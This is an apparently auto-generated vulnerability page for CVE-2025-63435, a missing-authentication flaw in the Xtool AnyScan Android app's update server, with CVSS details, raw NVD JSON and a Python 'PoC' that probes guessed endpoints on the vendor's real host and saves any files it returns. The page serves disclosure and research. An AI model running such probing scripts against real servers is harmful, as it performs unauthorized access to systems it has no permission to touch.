Security Vulnerability Report
中文
CVE-2025-63435 CVSS 4.3 MEDIUM

CVE-2025-63435

Published: 2025-11-24 17:16:08
Last Modified: 2025-11-28 17:06:39

Description

Xtooltech Xtool AnyScan Android Application 4.40.40 is Missing Authentication for Critical Function. The server-side endpoint responsible for serving update packages for the application does not require any authentication. This allows an unauthenticated remote attacker to freely download official update packages..

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:xtooltech:xtool_anyscan:*:*:*:*:*:android:*:* - VULNERABLE
Xtooltech Xtool AnyScan Android Application 4.40.40

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-63435 PoC - Xtool AnyScan Update Package Download # This PoC demonstrates the missing authentication vulnerability import requests import sys import json def exploit_cve_2025_63435(): """ Exploit for CVE-2025-63435: Missing Authentication for Critical Function in Xtooltech Xtool AnyScan Android Application 4.40.40 """ # Target information target = "https://update.xtooltech.com" # Hypothetical update server cve_id = "CVE-2025-63435" print(f"[*] Exploiting {cve_id}") print(f"[*] Target: {target}") # Update endpoint without authentication update_endpoints = [ "/api/v1/updates/latest", "/api/updates/check", "/download/update.apk", "/api/v1/firmware/latest" ] for endpoint in update_endpoints: url = target + endpoint print(f"\n[*] Testing endpoint: {url}") try: # No authentication headers required - this is the vulnerability response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[!] Endpoint accessible without authentication!") print(f"[*] Content-Type: {response.headers.get('Content-Type')}") print(f"[*] Content-Length: {len(response.content)} bytes") # Save the update package output_file = f"update_package_{endpoint.replace('/', '_')}.apk" with open(output_file, 'wb') as f: f.write(response.content) print(f"[*] Update package saved to: {output_file}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] No accessible update endpoints found") return False if __name__ == "__main__": exploit_cve_2025_63435()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63435", "sourceIdentifier": "[email protected]", "published": "2025-11-24T17:16:08.283", "lastModified": "2025-11-28T17:06:39.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xtooltech Xtool AnyScan Android Application 4.40.40 is Missing Authentication for Critical Function. The server-side endpoint responsible for serving update packages for the application does not require any authentication. This allows an unauthenticated remote attacker to freely download official update packages.."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xtooltech:xtool_anyscan:*:*:*:*:*:android:*:*", "versionEndIncluding": "4.40.40", "matchCriteriaId": "9206BD15-A1A8-4913-9D0A-9ADE50B81994"}]}]}], "references": [{"url": "https://github.com/ab3lson/cve-references/tree/master/CVE-2025-63435", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}